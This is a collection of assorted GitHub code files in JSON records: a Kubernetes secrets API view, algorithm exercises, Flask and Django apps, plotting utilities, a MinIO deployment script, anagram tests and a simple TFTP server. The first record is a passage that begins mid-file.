\"\"\"查询secrets\"\"\"\n        search_fields = copy.deepcopy(DEFAULT_SEARCH_FIELDS)\n\n        search_fields.append(\"data.data\")\n        params.update({\"field\": \",\".join(search_fields)})\n        client = k8s.K8SClient(request.user.token.access_token, project_id, cluster_id, env=None)\n        resp = client.get_secret(params)\n\n        if resp.get(\"code\") != ErrorCode.NoError:\n            logger.error(u\"bcs_api error: %s\" % resp.get(\"message\", \"\"))\n            return resp.get(\"code\", ErrorCode.UnknownError), resp.get(\"message\", _(\"请求出现异常!\"))\n        data = resp.get(\"data\") or []\n        return 0, data\n\n    def get(self, request, project_id):\n        \"\"\" 获取项目下所有的secrets \"\"\"\n        cluster_dicts = self.get_project_cluster_info(request, project_id)\n        cluster_data = cluster_dicts.get('results', {}) or {}\n\n        data = []\n        params = dict(request.GET.items())\n        is_decode = request.GET.get('decode')\n        is_decode = True if is_decode == '1' else False\n        # get project namespace info\n        namespace_dict = app_utils.get_ns_id_map(request.user.token.access_token, project_id)\n\n        for cluster_info in cluster_data:\n            cluster_id = cluster_info.get('cluster_id')\n            # 当参数中集群ID存在时，判断集群ID匹配成功后，继续后续逻辑\n            if params.get('cluster_id') and params['cluster_id'] != cluster_id:\n                continue\n            cluster_env = cluster_info.get('environment')\n            code, cluster_secrets = self.get_secrets_by_cluster_id(request, params, project_id, cluster_id)\n            # 单个集群错误时，不抛出异常信息\n            if code != ErrorCode.NoError:\n                continue\n            self.handle_data(\n                request,\n                cluster_secrets,\n                self.cate,\n                project_id,\n                cluster_id,\n                is_decode,\n                cluster_env,\n                cluster_info.get('name', ''),\n                namespace_dict=namespace_dict,\n            )\n            data += cluster_secrets\n\n        # 按时间倒序排列\n        data.sort(key=lambda x: x.get('createTime', ''), reverse=True)\n        return APIResponse({\"code\": ErrorCode.NoError, \"data\": {\"data\": data, \"length\": len(data)}, \"message\": \"ok\"})\n\n    def delete_secret(self, request, project_id, cluster_id, namespace, name):\n        return self.delete_resource(request, project_id, cluster_id, namespace, name)\n\n    def batch_delete_secrets(self, request, project_id):\n        return self.batch_delete_resource(request, project_id)\n\n    def update_secret(self, request, project_id, cluster_id, namespace, name):\n        self.slz = K8sSecretCreateOrUpdateSLZ\n        return self.update_resource(request, project_id, cluster_id, namespace, name)\n","repo_name":"Tencent/bk-bcs-saas","sub_path":"bcs-app/backend/uniapps/resource/views/secret.py","file_name":"secret.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","stars":266,"dataset":"github-code","pt":"47"}
{"seq_id":"31653535060","text":"class Solution:\n    def move(self, r, c, d):\n        if d > self.max_d:\n            return 0\n        if r < 0 or c <0 or r >= self.m or c >= self.n:\n            return 1\n        self.q.append([r,c,d])\n        return 0\n    \n    def findPaths(self, m: int, n: int, max_d: int, r: int, c: int) -> int:\n        self.m = m\n        self.n = n\n        self.q = []\n        self.v = [[0]*n]*m\n        self.max_d = max_d\n        \n        self.q.append([r,c,0])\n        output = 0\n        while len(self.q) > 0:\n            r,c,d = self.q.pop(0)\n            output += self.move(r,c-1,d+1)\n            output += self.move(r-1,c,d+1)\n            output += self.move(r,c+1,d+1)\n            output += self.move(r+1,c,d+1)\n        return output\n    \nprint(Solution().findPaths(2,2,2,0,0))\nprint(Solution().findPaths(1,3,3,0,1))\nprint(Solution().findPaths(7,5,10,5,0))\n","repo_name":"chorockuin/algorithm","sub_path":"00576.py","file_name":"00576.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29830608204","text":"from flask import Flask, render_template\nimport requests\nimport os\n\n# master_ip = os.environ.get('MASTER_IP', '10.146.0.5:8080')\nmaster_ip = os.environ.get('MASTER_IP', 'localhost:8001')\nnamespace = os.environ.get('NAMESPACE', 'default')\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef rolling_update_demo():\n    data = requests.get('http://{}/api/v1/namespaces/{}/pods'.format(master_ip, namespace))\n    pod_dict = data.json()\n    items = pod_dict['items']\n    ip_list = [item['status']['podIP'] for item in items if 'rolling-express' in item['metadata']['name']]\n    server_list = []\n    for ip in ip_list:\n        page = requests.get('http://{}:8080'.format(ip))\n        server_list.append(page.json())\n    # server_list.append(dict([('Hostname', 'host1'), ('Color', 'blue')]))\n    # server_list.append(dict([('Hostname', 'host2'), ('Color', 'blue')]))\n\n    return render_template('index.html', servers=server_list)\n\n\nif __name__ == '__main__':\n    app.run(debug=True, host='0.0.0.0')\n","repo_name":"sanghee911/rolling-flask","sub_path":"src/rolling-update.py","file_name":"rolling-update.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37360402404","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\r\n\r\n\r\n#class heatmap(self, plot_Timestamp):\r\n    \r\n\r\n\r\n\r\n#http://stackoverflow.com/questions/8653092/using-matplotlib-axes-with-ginput-and-imshow\r\nclass MyMplCanvas(FigureCanvas):\r\n\r\n    def __init__(self, parent=None, width=5, height=4, dpi=100, data=None, column_name=None):\r\n        self.fig, self.axes = plt.subplots(figsize=(width, height), dpi=dpi)\r\n        self.data = data\r\n        self.column_name = column_name\r\n        self.compute_initial_figure()\r\n\r\n        FigureCanvas.__init__(self, self.fig)\r\n        self.setParent(parent)\r\n\r\n        FigureCanvas.setSizePolicy(self,\r\n                                   QtWidgets.QSizePolicy.Expanding,\r\n                                   QtWidgets.QSizePolicy.Expanding)\r\n        FigureCanvas.updateGeometry(self)\r\n\r\n    def compute_initial_figure(self):\r\n        pass\r\n\r\nclass HeatMapMplCanvas (MyMplCanvas):\r\n    \r\n    def __init__(self, *args, **kwargs):\r\n        MyMplCanvas.__init__(self, *args, **kwargs)\r\n    \r\n    # https://plot.ly/python/heatmaps-contours-and-2dhistograms-tutorial/\r\n    def compute_initial_figure(self):\r\n        dt = self.data\r\n        column_name = self.column_name\r\n            \r\n        df_in = dt[column_name].reset_index()\r\n        z_day = dt[column_name].reset_index(drop=True)\r\n        \r\n        the_months, the_days, Z_dayXmonth = self.dates_to_dayXmonth(df_in, z_day)\r\n        \r\n        extent = [the_months[0], the_months[-1], the_days[0], the_days[-1]]\r\n        \r\n        self.axes.clear()\r\n        self.axes.set_title(column_name)\r\n        \r\n        #http://matplotlib.org/examples/pylab_examples/colorbar_tick_labelling_demo.html\r\n        cax = self.axes.imshow(Z_dayXmonth, interpolation='none', extent=extent, origin='low', aspect=0.25)\r\n        cbar = self.fig.colorbar(cax)\r\n        \r\n    \r\n\r\n    def plot_Heatmap(self, column_name):\r\n        \r\n        hc = HeatMapMplCanvas(self.main_widget, width=5, height=4, dpi=100, data=self.df_day, column_name=column_name)\r\n        \r\n        #http://stackoverflow.com/questions/4528347/clear-all-widgets-in-a-layout-in-pyqt\r\n        for i in reversed( range(self.qvBoxLayout.count()) ): \r\n            self.qvBoxLayout.itemAt(i).widget().deleteLater()\r\n            \r\n        self.qvBoxLayout.addWidget(hc)\r\n","repo_name":"jinsuk3377/EEBO","sub_path":"EEBO/plot/plot_heatmap_test.py","file_name":"plot_heatmap_test.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2646369291","text":"# 정수 N 입력\n# 00시00분00초부터 N시59분59초까지 3이 단 하나라도 포함되어 있으면 카운트\n\n#%%\nn = int(input())\ncount=0;\n\n#%%\nfor hour in range(n+1):\n    for minute in range(60):\n        for second in range(60):\n            time = str(hour) + str(minute) + str(second)\n            if '3' in time:\n                count+=1\n\n#%%\nprint(count)","repo_name":"kina94/Code-Bowl","sub_path":"python for coding test/Imple_page_113.py","file_name":"Imple_page_113.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37601622711","text":"from django.db import models\nfrom django.contrib.auth import get_user_model\nfrom datetime import time\n\n\"\"\"\n    Models for ThroughTheEyeOf Website\n\n    All strings have a limit of 64 characters\n    unless otherwise specified\n\"\"\"\n\nclass Album(models.Model):\n    \"\"\"\n    Contains:\n        * album_title - String containing the name of the album\n        * album_description - Description of the album\n        * album_owner - Reference to the User Object who 'owns' this album\n    \"\"\"\n    album_description = models.CharField(max_length=64)\n    album_owner = models.ForeignKey(\n        get_user_model(),\n        on_delete=models.CASCADE,\n        related_name='album_owner',\n    )\n\n    album_title = models.CharField(max_length=64)\n    album_tags = models.CharField(max_length=256, blank=True, null=True)\n    closed = models.BooleanField(default=False)\n\nclass Photo(models.Model):\n    \"\"\"\n    Contains:\n        * photo_time - Integer time of the photo taken\n            Example: 2:34pm is stored as 1434 military time\n        * photo_location - String name of location of where photo was taken\n        * photo_album - Foreign Key Reference to the Album Model \n            that 'owns' the photo\n    \"\"\"\n    photo_date = models.DateField(auto_now=False, null=True)\n    photo_time = models.TimeField(auto_now=False, null=True)\n    photo_timezone = models.CharField(max_length=64, blank=False, default='UTC')\n    photo_utc_time = models.TimeField(null=True)\n    photo_location = models.CharField(blank=True, max_length=128, null=True)\n    photo_path = models.CharField(max_length=256,null=True)\n    photo_album = models.ForeignKey(\n        Album,\n        on_delete=models.CASCADE,\n        related_name='photo_album',\n    )\n","repo_name":"cbrintnall/dayinthelife","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"39453440293","text":"from A.B import *\nS(23, 'azder', 's_')\n\n\ndef dfs(cnt, flag, hap):\n    global ans\n    if cnt == n:\n        if hap < ans:\n            ans = hap\n        return\n\n    if hap >= ans:\n        return\n\n    for i in range(n):\n        if i in flag:\n            continue\n        flag[cnt] = i\n        dfs(cnt + 1, flag, hap + board[cnt][i])\n        flag[cnt] = -1\n\nfor test_case in range(1, int(input()) + 1):\n    n = int(input())\n    board = [list(map(int ,input().split())) for _ in range(n)]\n    ans = 10e999\n    flag = [-1] * n\n    dfs(0,flag,0)\n\n    print(f'#{test_case} {ans}')\n\nE(23, 'azder', 's_')\n","repo_name":"kimansol/Algorithm-2022","sub_path":"SSAFY/13849_배열 최소 합.py","file_name":"13849_배열 최소 합.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19220183046","text":"# coding:utf8\nfrom tkinter import *\nfrom tkinter.constants import *\n\n\nclass APP:\n    def __init__(self, master):\n        list1 = [\"青菜\", \"白菜\", \"菠菜\", \"黄瓜\", \"青菜\", \"白菜\",\n                 \"菠菜\", \"黄瓜\", \"青菜\", \"白菜\", \"菠菜\", \"黄瓜\"]\n        frame = Frame(master)\n        frame.pack(padx=5, pady=5)\n\n        # 添加一个滚动条Scrollbar,靠右，填充。\n        sb = Scrollbar(frame)\n        sb.pack(side=RIGHT, fill=Y)\n\n        # listbox 生成列表选框,selectmode设置选择模式，SINGLE单选，EXTENDED多选\n        lb = Listbox(frame, width=30, selectmode=EXTENDED,\n                     yscrollcommand=sb.set)\n        lb.pack(fill=BOTH)\n        sb.config(command=lb.yview)\n\n        # insert 添加选项\n        for key in list1:\n            lb.insert(END, key)\n\n        # 打印所有选项\n        print(lb.get(0, END))\n        # 删除选中的选项\n        b1 = Button(frame, text=\"删除它\", command=lambda x=lb: x.delete(ACTIVE))\n        b1.pack(side=LEFT)\n\n\nroot = Tk()\nwin = APP(root)\nroot.mainloop()\n","repo_name":"adf1937/adf_project","sub_path":"BMS/test/listbox.py","file_name":"listbox.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70906561103","text":"from kubernetes import client, config\nimport time\nimport os \n\nMINIO_ACCESS_KEY=os.environ.get(\"MINIO_ACCESS_KEY\")\nMINIO_SECRET_KEY=os.environ.get(\"MINIO_SECRET_KEY\")\n\ndef create_deployment(apps_v1_api,env_vars=None):\n\n    if env_vars is None:\n        env_vars = {\"MINIO_ACCESS_KEY\":MINIO_ACCESS_KEY,\"MINIO_SECRET_KEY\":MINIO_SECRET_KEY}\n    env_list = []\n    for env_name, env_value in env_vars.items():\n        env_list.append( client.V1EnvVar(name=env_name, value=env_value) )\n\n    volume = client.V1Volume(\n        name=\"data\"\n    )\n\n    container = client.V1Container(\n        name=\"minio\",\n        image=\"minio/minio\",\n        args=[\"server\",\"/data\"],\n        volume_mounts=[client.V1VolumeMount(name=\"data\",mount_path=\"/data\")],\n        env=env_list,\n        image_pull_policy=\"Always\",\n        ports=[client.V1ContainerPort(container_port=9000)],\n    )\n    \n    template = client.V1PodTemplateSpec(\n        metadata=client.V1ObjectMeta(labels={\"app\": \"minio\"}),\n        spec=client.V1PodSpec(volumes=[volume],containers=[container]))\n    \n    spec = client.V1DeploymentSpec(\n        selector=client.V1LabelSelector(match_labels={\"app\":\"minio\"}),\n        replicas=1,\n        template=template)\n    \n    deployment = client.V1Deployment(\n        api_version=\"apps/v1\",\n        kind=\"Deployment\",\n        metadata=client.V1ObjectMeta(name=\"minio-deployment\",labels={\"app\":\"minio\"}),\n        spec=spec)\n    \n    \n    apps_v1_api.create_namespaced_deployment(\n        namespace=\"default\", body=deployment\n    )\n\n\ndef create_service():\n    core_v1_api = client.CoreV1Api()\n    body = client.V1Service(\n        api_version=\"v1\",\n        kind=\"Service\",\n        metadata=client.V1ObjectMeta(\n            labels={\"app\":\"minio\"},\n            name=\"minio-service\"\n        ),\n        spec=client.V1ServiceSpec(\n            type=\"NodePort\",\n            selector={\"app\": \"minio\"},\n            ports=[client.V1ServicePort(\n                protocol=\"TCP\",\n                port=9000,\n                target_port=9000,\n                node_port=31000\n            )]\n        )\n    )\n\n    core_v1_api.create_namespaced_service(namespace=\"default\", body=body)\n\ndef create_ingress(networking_v1_beta1_api):\n\n    body = client.NetworkingV1beta1Ingress(\n        api_version=\"networking.k8s.io/v1beta1\",\n        kind=\"Ingress\",\n        metadata=client.V1ObjectMeta(name=\"minio-ingress\", labels={\"app\":\"minio\"}, annotations={\n            \"nginx.ingress.kubernetes.io/rewrite-target\": \"/\"\n        }),\n        spec=client.NetworkingV1beta1IngressSpec(\n            rules=[client.NetworkingV1beta1IngressRule(\n                host=\"minio.kubernetes.local\",\n                http=client.NetworkingV1beta1HTTPIngressRuleValue(\n                    paths=[client.NetworkingV1beta1HTTPIngressPath(\n                        path=\"/\",\n                        backend=client.NetworkingV1beta1IngressBackend(\n                            service_port=9000,\n                            service_name=\"minio-service\")\n\n                    )]\n                )\n            )\n            ]\n        )\n    )\n    networking_v1_beta1_api.create_namespaced_ingress(\n    namespace=\"default\",\n    body=body\n    )\ndef crea():\n   \n    config.load_kube_config()\n    apps_v1_api = client.AppsV1Api()\n    networking_v1_beta1_api = client.NetworkingV1beta1Api()\n\n    \n    create_deployment(apps_v1_api)\n    create_service()\n    create_ingress(networking_v1_beta1_api)\n\n\nif __name__ == \"__main__\":\n    crea()\n","repo_name":"FedericoGiuliana/Mimir-Engine","sub_path":"Minio/startminio.py","file_name":"startminio.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19024076665","text":"\n\"\"\"\nDecision_tree_node_class class.\nrepresent node of the decision tree.\n\"\"\"\n\nclass Decision_tree_node_class(object):\n    def __init__(self,attribute, depth, is_leaf, pred, children_dict):\n        \"\"\"\n        constructor.\n        :param attribute: feature of node\n        :param depth: depth of the node in the tree\n        :param is_leaf: boolean - indicates if the node is a leaf\n        :param pred: prediction in case the node is a leaf\n        :param children_dict: pointers to children according to feature val.\n        \"\"\"\n        self.attribute = attribute\n        self.depth = depth\n        self.is_leaf = is_leaf\n        self.pred = pred\n        self.children_dict = children_dict\n","repo_name":"LizAharonian/AIEx2","sub_path":"Decision_tree_node.py","file_name":"Decision_tree_node.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11326458743","text":"import os \nimport nibabel as nib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.ndimage\n\nfilepath = \"D:/fullTumourNiftys\"\ndef get_moment_of_inertia(nib_obj):\n\tintensity_data = nib_obj.get_data()\n\tCoM = scipy.ndimage.measurements.center_of_mass(intensity_data)\n\tindices = np.indices(intensity_data.shape)\n\tindices = np.moveaxis(indices,0,3)\n\tsqdist_from_CoM = np.zeros(intensity_data.shape)\n\tsqdist_from_CoM[:,:,:] = (indices[:,:,:,0]-CoM[0])**2+(indices[:,:,:,1]-CoM[1])**2+(indices[:,:,:,2]-CoM[2])**2\n\treturn np.sum(intensity_data*sqdist_from_CoM)\n\npatients = os.listdir(filepath)\n\nfig,ax = plt.subplots()\nfor patient in patients:\n\tI_arr = []\n\tscans = os.listdir(os.path.join(filepath,patient))\n\tfor scan in scans:\n\t\tnibfile = nib.load(os.path.join(filepath,patient,scan))\n\t\tI_arr.append(get_moment_of_inertia(nibfile))\n\tI_arr = I_arr/I_arr[0]\n\tax.plot(I_arr,label = patient)\n\nax.set_xlabel(\"Scan Number\")\nax.set_ylabel(\"Moment of Inertia (HU/px^2)\")\nax.legend()\n\nplt.show()","repo_name":"rwindsor1/Lung_Cancer_Shrinkage_vs_Erosion","sub_path":"python_scripts/extract_moment_of_inertia.py","file_name":"extract_moment_of_inertia.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26228520662","text":"# Lab 15 Q1 (v)\n\nimport numpy as np\n\n\ndef main():\n    data = np.genfromtxt('bikeSharing.csv', delimiter=',')\n\n    for temp in range(1, 40, 5):\n        analyseTemp(data, temp, temp + 4)\n\n\ndef analyseTemp(data, minValue, maxValue):\n    # the temperature values stored in the array are multiplied by 41\n\n    higherTempCondition = (data[:, 9] * 41) >= minValue\n\n    lowerTempCondition = (data[:, 9] * 41) <= maxValue\n\n    subset = data[higherTempCondition & lowerTempCondition]\n\n    meanValue = np.mean(subset[:, 13])\n\n    print(\"For temp in range \", minValue, \"to\", maxValue, \"the mean number of casual users was \", meanValue)\n\n\nmain()\n","repo_name":"coreylynch00/CollegeCodeRepo","sub_path":"Python/ThirdYear/Lab15/q1_v.py","file_name":"q1_v.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"25004697030","text":"import unittest\nimport random\n\nfrom wordplay.wordplay import Wordplay, formatCipher\n\nclass WordplayTest(unittest.TestCase):\n\n  WORDLIST1 = 'wordlists/test1.txt'\n  WORDLIST2 = 'wordlists/test2.txt'\n  SOLUTION2 = 'wordlists/result2.txt'\n  PALINDROMES = 'wordlists/one-word-palindromes.txt'\n  BIGPALINDROME = 'wordlists/big-palindrome.txt'\n  SOLUTION_BIGPALINDROME = 'wordlists/result-big-palindrome.txt'\n  SIMPLE = 'wordlists/simple.txt'\n  FAMOUS = 'wordlists/famous-palindromes.txt'\n\n  def setUp(self):\n    self._anagrams = dict()\n    self.get(WordplayTest.WORDLIST1)\n    self.get(WordplayTest.WORDLIST2)\n    self.get(WordplayTest.PALINDROMES)\n    self.get(WordplayTest.BIGPALINDROME)\n\n  def _simplePalindrome(self, wp):\n    charList = list(\"WASITABARORABATISAW\")\n    random.shuffle(charList)\n\n    solution = set(self._getLines(WordplayTest.SOLUTION_BIGPALINDROME))\n    for out in wp.solvePalindrome(\"\".join(charList),200):\n      self.assertTrue(out in solution)\n\n  def get(self, path):\n    return self._anagrams.setdefault(path, Wordplay(path,\n      multipleWords=True))\n\n  def test_aaBuiltCorrectly(self):\n    for pair in self._anagrams.items():\n      path = pair[0]\n      anagram = pair[1]\n\n      words = self._getLines(path)\n      for word in words:\n        self.assertTrue( anagram.has(word) )\n\n  def test_simplePalindrome(self):\n    wp = self.get(WordplayTest.PALINDROMES)\n    for palindrome in self._getLines(WordplayTest.PALINDROMES):\n      out = list( wp.solvePalindrome(palindrome) )\n      self.assertTrue( palindrome in out )\n\n  def test_bigPalindrome(self):\n    wp = self.get(WordplayTest.BIGPALINDROME)\n    self._simplePalindrome(wp)\n\n  def test_realWorld(self):\n    wp = self.get(WordplayTest.SIMPLE)\n    self._simplePalindrome(wp)\n\n  def test_sanity(self):\n    wp = self.get(WordplayTest.SIMPLE)\n    ciphers = self._getLines(WordplayTest.FAMOUS)\n\n    for cipher in ciphers:\n      charMap = formatCipher(cipher)\n      for palindrome in wp.solvePalindrome(cipher):\n        outCharMap = formatCipher(palindrome)\n        self.assertEqual(charMap, outCharMap)\n\n\n  def test_oneWord(self):\n    anagram = self.get(WordplayTest.WORDLIST1)\n    solution = self._getLines(WordplayTest.WORDLIST1)\n    start = solution[0]\n    out = list(anagram.solveAnagram(start, len(solution) + 1))\n    self.assertEqual(sorted(solution),sorted(out))\n\n  def test_twoWords(self):\n    anagram = self.get(WordplayTest.WORDLIST2)\n    solution = self._getLines(WordplayTest.SOLUTION2)\n    start = solution[0]\n    solution = set(solution)\n    out = set(anagram.solveAnagram(start, len(solution) + 30))\n    self.assertEqual(solution, out)\n\n  def _getLines(self, filename):\n    solution = []\n    with open(filename) as fp:\n      for line in fp:\n        line = line.upper()\n        line = line.strip()\n        solution.append(line)\n    return solution\n","repo_name":"OEP/anagram-bot","sub_path":"tests/wordplay_test.py","file_name":"wordplay_test.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"25775946994","text":"import socket \nimport sys \nimport random\nimport time \nimport re\nimport os\n\n\nMAX_SIZE = 512 \n\nopcodes = {\n    'read': 1,\n    'write': 2, \n    'data': 3, \n    'ack': 4, \n    'error': 5\n}\n\nmode_strings = ['netascii', 'octet', 'mail']\n\n\ndef make_packet(opcode, block_num): \n    '''\n    This function takes opcode and block number \n    as parameters and outputs a bytearray with the \n    appropriate header values. You can then cusomize \n    this bytearray by appending to it, for instance \n    when opcode = 'data' and you want to send a payload \n    with the packet header. \n    \n    In the case of opcode = 'ack', sending the result of \n    make_packet('ack', block_num) is sufficient to follow TFTP. \n    '''\n    pack = bytearray()\n    pack.append(0)\n    pack.append(opcodes[opcode])\n    pack.append(0)\n    pack.append(block_num)\n    return pack\n\n\ndef extract_filepath(data): \n    '''\n    Extracts file path from bytes data \n    First decodes bytes into utf-8 \n    Then the regex searches for a match where \n        1) First char is a-z or A-Z \n        2) 0+ alphanumeric chars that are not . follow\n        3) Then one . \n        4) Then at least one but possibly more chars a-z or A-Z \n    If there is more than one match, throw error,\n    perhaps because more than one file name entered, \n    and if no match, throw different error\n    '''\n    data_str = data.decode('utf-8')\n    file_path = re.findall(r'([a-zA-Z][\\w^\\.]*\\.[a-zA-Z]+)', data_str) \n    if len(file_path) > 1: \n        raise ValueError('Please make sure only one file name is entered')\n    elif len(file_path) == 0:\n        raise ValueError('Did not recognize valid file name') \n    else:\n        return file_path[0]    \n\n\ndef transmit(packet, socket, client, timeout): \n    '''\n    This function acts as a timer for re-sending packets\n    It sends the packet to the client using the socket, \n    and then while there's no response and current time \n    is less than retransmit time, it listens for a response. \n\n    If there is no response before retransmit time, it calls\n    transmit again, which re-sends the message and re-sets the timer \n\n    If res received is has an ERROR opcode, \n    system exits \n    '''\n    res = None \n    socket.sendto(packet, client)\n    retransmit = time.time() + timeout \n    while res == None and time.time() < retransmit: \n        res, client = socket.recvfrom(MAX_SIZE + 4)\n    if res == None: \n        transmit(packet, socket, client, timeout)\n    else: \n        if res[3] == opcodes['error']: \n            sys.exit('Received ERROR response')\n        return res, client    \n\n\ndef handle_WRQ(file_name, client, socket, timeout): \n    '''\n    Function to handle incoming WRQs \n\n    Initializes empty array and empty set of ACKed packets \n    Then sends initial ACK 0 to indicate readiness \n    and listens for the first DATA packet to be received \n\n    Inside the main loop, the most recent incoming data packet \n    has its block number checked against previously ACKed packets. \n    If the number has been previously ACKed, server sends the ACK \n    again and waits for a response. This will continue until the \n    server receives a packet with an un-ACKed block number. \n\n    The server then finds the size of the data packet. If it is > 4, \n    i.e. it is more than just a header, the data from positions [4:]\n    are appended to all_data. If the size of the packet is < 516, TFTP \n    says that data transmission has finished, and the server sends a \n    final ACK and closes the connection. \n\n    If data is 516 bytes, however, the transaction continues. An ACK \n    is sent for the packet, the packet block number is added to the set \n    of ACKed packets, and the server listens for a response. Once a response \n    comes through, it is checked against packs_acked as above, and the \n    process repeats until a packet of size < 516 bytes is received and ACKed \n\n    Once all data has been transmitted, handle_WRQ then writes all_data \n    to a file with the same name as the one the client transferred \n\n    Finally, the socket is closed. \n    '''\n\n    all_data = []\n    packs_acked = set()\n\n    res = make_packet('ack', 0)\n    socket.sendto(res, client)\n    print('Sent ACK 0')\n\n    data, client = socket.recvfrom(MAX_SIZE + 4)\n    print(f'Received DATA {data[3]}')\n\n\n    while True:\n\n        while data[3] in packs_acked: \n            print(f'Sent ACK {data[3]}') \n            data, client = transmit(make_packet('ack', data[3]), socket, client, timeout)\n            print(f'Received DATA {data[3]}')\n        if sys.getsizeof(data) > 4: \n            all_data.append(data[4:])\n        if sys.getsizeof(data) < 516: \n            socket.sendto(make_packet('ack', data[3]), client)\n            packs_acked.add(data[3]) \n            print(f'Sent ACK {data[3]} (Final ACK)')  \n            break   \n        packs_acked.add(data[3])  \n        print(f'Sent ACK {data[3]}')       \n        data, client = transmit(make_packet('ack', data[3]), socket, client, timeout)\n        print(f'Received DATA {data[3]}')\n\n\n    with open(file_name, 'w') as f: \n        file_text = ''\n        for item in all_data: \n            item_str = item.decode('utf-8')\n            file_text += item_str\n        f.write(file_text)\n\n\n    socket.close()\n    print('Connection Closed')\n\n    return\n\n\ndef handle_RRQ(file_path, client, socket, timeout): \n    '''\n    This function tries to open file_path, and if \n    it succeeds, saves its content as doc. Doc is then \n    converted into bytes and split into 512-byte segments, \n    each of which is given the required 4-byte TFTP header\n    for a total packet size of 516 bytes \n\n    These packets are added into a queue and then in turn\n    sent to the client while \n        1) Neither server nor client has timed out \n        2) The # of ACKed packets < # total packets \n\n    After transmitting a packet, if a response is not \n    received within timeout number of seconds, the packet\n    will be sent again \n\n    Each packet is sent in order, and each subsequent packet is \n    only sent once an ACK has been received for the preceding packet \n\n    If all packets are sent and ACKed with no error, \n    a success message is printed and the socket is closed. \n\n    Else, an error is raised and the socket is closed. \n    '''\n    try: \n        with open(file_path, 'rb') as f: \n            doc = f.read()\n    except: \n        raise ValueError('Could not find file')        \n    \n\n    doc_bytes = bytearray(doc)\n    num_packets = len(doc_bytes) // 512 + 1\n    packets = [x for x in range(num_packets)]\n    for i in range(num_packets): \n        packet = make_packet('data', i + 1)\n        packet += bytearray(doc_bytes[:512])\n        packets[i] = packet\n        doc_bytes = doc_bytes[512:]\n\n    # if total data bytes divisible by 512, must send final packet with data size 0\n    doc_mod = len(doc_bytes) % 512\n    if doc_mod == 0:  \n        packet = make_packet('data', len(packets))\n        packets.append(packet)\n\n\n    iter_pack = iter(packets)\n    packs_acked = set()\n    while len(packs_acked) < num_packets: \n        packet = next(iter_pack, packet)\n        pack_acked = packet[3] in packs_acked  \n        while pack_acked == False:  \n            res, client = transmit(packet, socket, client, timeout)\n            print(f'Sent DATA {packet[3]}')\n            while res[3] != packet[3]: \n                res, client = transmit(packet, socket, client, timeout)\n                print(f'Re-sent DATA {packet[3]}')\n            if res[1] == opcodes['ack'] and res[3] == packet[3]: \n                print(f'Received ACK {res[3]}')\n                packs_acked.add(packet[3])\n                pack_acked = True \n\n\n    if max(packs_acked) == num_packets: \n        print('All packets sent and ACKed')\n    else: \n        if len(packs_acked) > 0: \n            err_ins = max(packs_acked)\n        else: \n            err_ins = None     \n        raise RuntimeError(f'An Error Occurred: Last outbound packet ACKed was {err_ins}')\n\n\n    socket.close()\n    print('Connection closed')\n    \n    return \n\n\ndef main(): \n    '''\n    This function listens for incoming requests on the provided port number\n    and once a request comes in, spins up another socket on which to complete \n    the transaction and continues listening for new requests on the main port \n\n    Depending on if the request is a RRQ or WRQ, the server calls either \n    handle_RRQ or handle_WRQ using the new socket \n    '''\n    \n    host = socket.gethostname()\n    port = int(sys.argv[1])\n    timeout = int(sys.argv[2]) / 1000\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet and UDP socket \n    s.bind((host, port))\n\n    print(f'Listening on port {port}...')\n    print(f'Timeout {timeout} secs')\n\n    \n    while True: \n        data, client = s.recvfrom(MAX_SIZE + 4) # 4 bytes for header, plus MAX_SIZE for data\n        _s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) \n        new_port = random.randint(1024, 65535)\n        while new_port == port: \n            new_port = random.randint(1024, 65535)\n        _s.bind((host, new_port))\n        print(f'Connection on port {new_port}')\n        file_path = extract_filepath(data)\n        if data[1] == opcodes['read']: \n            handle_RRQ(file_path, client, _s, timeout)\n        elif data[1] == opcodes['write']: \n            handle_WRQ(file_path, client, _s, timeout)    \n\nif __name__ == '__main__': \n    main()\n","repo_name":"brycepoeter/tftp_server","sub_path":"tftp_server.py","file_name":"tftp_server.py","file_ext":"py","file_size_in_byte":9367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
